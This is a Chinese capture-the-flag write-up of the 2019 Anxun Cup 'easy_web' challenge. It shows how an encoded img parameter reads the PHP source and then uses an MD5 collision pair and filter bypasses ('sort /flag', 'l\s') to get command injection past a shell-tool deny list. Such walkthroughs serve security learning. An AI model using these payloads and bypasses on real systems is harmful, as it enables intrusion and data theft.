• [安洵杯 2019]easy_web


    考察知识点:

    1.解密的敏感度(或者说工具的强度)

    2.md5强比较的累积

    3.读取文件的函数累积

    解题:

    进入页面直接burp抓包:

    有一个img=TXpVek5UTTFNbVUzTURabE5qYz0,我们直接放到脚本里跑一下:

    脚本很好写的,就贴合自己喜欢的方式写一个就行。解码出来发现是555.png.因为这里url的特性,所以这里应该只是进行了三次编码:

    hex->base64->base64

     那我们试着读取一下页面源码:

    然后贴到img里面 

    解码一下

    1. error_reporting(E_ALL || ~ E_NOTICE);
    2. header('content-type:text/html;charset=utf-8');
    3. $cmd = $_GET['cmd'];
    4. if (!isset($_GET['img']) || !isset($_GET['cmd']))
    5. header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    6. $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    7. $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    8. if (preg_match("/flag/i", $file)) {
    9. echo '';
    10. die("xixiï½ no flag");
    11. } else {
    12. $txt = base64_encode(file_get_contents($file));
    13. echo "";
    14. echo "
      "
      ;
    15. }
    16. echo $cmd;
    17. echo "
      "
      ;
    18. if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    19. echo("forbid ~");
    20. echo "
      "
      ;
    21. } else {
    22. if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
    23. echo `$cmd`;
    24. } else {
    25. echo ("md5 is funny ~");
    26. }
    27. }
    28. ?>

     关于cmd过滤了很多,并且进入的条件还有一个

    (string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])

    简单,把家底炒出来:

    a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

       

       

    b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

    姿势一: 

    sort /flag

    这个姿势不足的就是不知道flag名字,得猜

    姿势二:

    l\s

    这个方法绕过很好用,也可以知道flag名字

  • 相关阅读:
    Linux内存管理(十六):buddy系统分配器之慢速分配
    Spring之Mybatis
    Neo4j最新安装教程(图文版)
    实时跟踪用户管理操作
    Vue源码学习(三):<templete>渲染第二步,创建ast语法树
    JMeter:断言之响应断言
    6-6漏洞利用-SSH安全防御
    基于PHP电影院选座售票系统设计与实现 开题报告
    .NET Core 实现后台任务(定时任务)Longbow.Tasks 组件(三)
    2022年09月 Python(四级)真题解析#中国电子学会#全国青少年软件编程等级考试
  • 原文地址:https://blog.csdn.net/qq_64201116/article/details/126093234